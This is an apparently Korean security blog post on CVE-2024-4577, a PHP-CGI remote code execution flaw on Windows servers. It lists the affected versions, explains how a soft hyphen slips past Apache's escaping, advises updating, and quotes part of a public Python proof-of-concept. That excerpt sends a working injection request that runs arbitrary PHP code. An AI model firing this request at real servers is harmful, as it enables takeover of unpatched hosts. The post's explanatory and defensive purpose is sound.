PHP 서버 원격 코드 실행 취약점(CVE-2024-4577)

PHP 서버 원격 코드 실행 취약점(CVE-2024-4577)

보안 업체 DEVCORE 에서 PHP 언어에서 사용 가능한 원격 코드 실행 취약점을 발견했다. PHP 언어가 널리 사용된다는 점, 공격 성공 시 파급력이 큰 점, 공격 난이도가 낮다는 점으로 인해 NIST 에서는 CVE-2024-4577 취약점에 대해 최상위 위험도인 9.8 CRITICAL 을 부여했다.

CVE-2024-4577 취약점에 대한 NIST 의 위험도 평가

공격 대상

CVE-2024-4577 취약점은 Windows OS 에서 운영 중인 PHP 서버만 대상으로 작동한다. 또한 지원이 종료된 PHP 8.0 이하 버전은 모두 취약하며, 이후의 버전은 다음과 같은 버전보다 낮으면 취약하다.

  • PHP 8.3 < 8.3.8
  • PHP 8.2 < 8.2.20
  • PHP 8.1 < 8.1.29

따라서 Windows OS 에서 PHP 서버를 운영하는 경우, 최신 버전의 PHP 로 업데이트할 것을 권고한다.

취약점 동작 원리

이 취약점은 PHP 서버의 CGI 모드에서 발생한다. CGI(Common Gateway Interface)는 웹 서버와 외부 프로그램을 연결해주는 표준화된 프로토콜을 뜻한다. CGI 모드에서는 서버로 전달된 HTTP 요청을 적절히 파싱하고, 이를 처리할 PHP 스크립트로 전달한다. 예를 들어 http://host/cgi.php?abc=qwer 이라는 요청이 서버에 전달되면, php.exe cgi.php abc=qwer 과 같은 명령어가 실행된다. 이러한 동작 방식은 command injection 을 일으킬 가능성이 있기 때문에, 개발자는 php.exe 에 전달되는 입력 값을 충분히 검증해야 한다.

Apache 는 hyphen(0x2D) 는 escape 하는 반면, soft hyphen(0xAD) 는 escpae하지 않는다. 이 때문에 soft hyphen 은 별다른 제지 없이 CGI 의 입력 값 검증 과정을 통과할 수 있다. 하지만 soft hyphen 을 전달받은 php.exe 는 유니코드를 처리하는 과정에서 이를 일반 hyphen 으로 인식한다.

공격자가 soft hyphen 과 실행할 페이로드 인자를 CGI 핸들러에 전달하면, CGI 는 이를 escaping 하지 않고 php.exe 로 전달한다. 하지만 php.exe 전달받은 soft hyphen 을 hyphen 으로 인식하고, 함께 전달받은 악성 페이로드를 그대로 실행하며 command injection 취약점이 발생한다.

CVE-2024-4577 취약점을 공격하는 PoC 코드를 보면 쉽게 이해할 수 있다. soft hyphen(%AD) 이후 실행하고자 하는 옵션과 페이로드를 전달하고 있다.

parser = argparse.ArgumentParser(usage="""python CVE-2024-4577 --target http://192.168.1.1/index.php -c "<?php system('calc')?>""")
parser.add_argument('--target', '-t', dest='target', help='Target URL', required=True)
parser.add_argument('--code', '-c', dest='code', help='php code to execute', required=True)
args = parser.parse_args()
args.target = args.target.rstrip('/')

s = requests.Session()
s.verify = False

res = s.post(f"{args.target.rstrip('/')}?%ADd+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", data=f"{args.code};echo 1337; die;" )

CVE-2024-4577 취약점을 공격하는 PoC 의 일부

References